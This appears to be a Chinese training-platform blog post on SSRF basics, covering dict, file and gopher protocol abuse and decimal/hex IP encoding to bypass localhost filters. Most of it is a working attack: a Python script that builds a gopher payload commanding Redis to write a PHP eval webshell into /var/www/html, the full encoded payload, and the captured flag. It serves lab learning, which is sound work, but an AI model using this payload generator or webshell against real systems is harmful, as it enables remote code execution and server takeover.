当前位置:网站首页>零号培训平台课程-2、SSRF基础
零号培训平台课程-2、SSRF基础
2022-07-27 06:01:00 【大灬白】
漏洞原理:


协议利用
• File协议
• 本地文件传输协议
• 任意文件读取
• Dict协议
• 字典服务器协议
• 操作Redis
• Gopher协议
• 分布型的文件搜集获取网络协议。
• 支持多行
• 操作Redis、Memcached、fastcgi、mysql等


输入:
Dict://127.0.0.1:6379/info
本地IP地址被过滤:
绕过的方法有多种,1、把IP地址转换成10进制、16进制
输入:
dict://2130706433:6379/info
dict://0x7F000001:6379/info

Python代码生成gopher协议报文写入webshell
#/usr/bin/python
import urllib
protocol="gopher://"
# redis所在服务器的IP,10进制IP:127.0.0.1
ip="2130706433"
port="6379"
# php代码,POST方式提交、GET方式提交
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="shell.php"
# web服务所在目录
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell:
gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
连接目标webshell
找到写入的shell.php和flag
Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91
边栏推荐
- Automatically generate UML sequence diagram according to text (draw.io format)
- Brief introduction of simulation model
- Calledprocesserror during pre commit install
- Watermelon book learning notes - Chapter 4 decision tree
- 12. Integer to Roman整数转罗马数字
- Basic statement of MySQL (1) - add, delete, modify and query
- Misunderstanding of slice slice in golang
- C time related operation
- DNA research experiment application | cyclodextrin modified nucleic acid cd-rna/dna | cyclodextrin nucleic acid probe / quantum dot nucleic acid probe
- py2exe qt界面风格变成了win98解决方案
猜你喜欢

Dajiang livox customized format custommsg format conversion pointcloud2

高级IO提纲

Pan Aimin, chairman of instruction set, attended the 2022 ecug con to speak for China's technical forces

Automatically generate UML sequence diagram according to text (draw.io format)

DNA modified zinc oxide | DNA modified gold nanoparticles | DNA coupled modified carbon nanomaterials

CdS quantum dots modified DNA | CDs DNA QDs | near infrared CdS quantum dots coupled DNA specification information

Analysis on the current situation and optimization strategy of customer experience management in banking industry

Convert Excel to csv/csv UTF-8

Music website management system based on SSM

Leetcode series (I): buying and selling stocks
随机推荐
Dajiang livox customized format custommsg format conversion pointcloud2
运行代码报错: libboost_filesystem.so.1.58.0: cannot open shared object file: No such file or directory
Book borrowing management system based on SSM
Drools (5): drools advanced syntax
MySQL index failure and solution practice
A Competitive Swarm Optimizer for Large Scale Optimization
Hospital reservation management system based on SSM
请教大佬们一个问题,pgsqlcdc任务运行一段时间就不能监测变化了,重启就可以了,这个该从哪方面入
newest! SASAC releases new measures for digital transformation of state-owned enterprises
Digital image processing Chapter 1 Introduction
Gbase 8C - SQL reference 6 SQL syntax (15)
?实验 7 基于 Mysql 的 PHP 管理系统实现
Livox SLAM(带LIO+闭环检测优化)
Student achievement management system based on SSM
MySQL quickly compares database table data
Gbase 8C core technology
Brief introduction of simulation model
C time related operation
Gbase 8C - SQL reference 6 SQL syntax (13)
PNA peptide nucleic acid modified peptide suc Tyr Leu Val PNA | suc ala Pro Phe PNA 11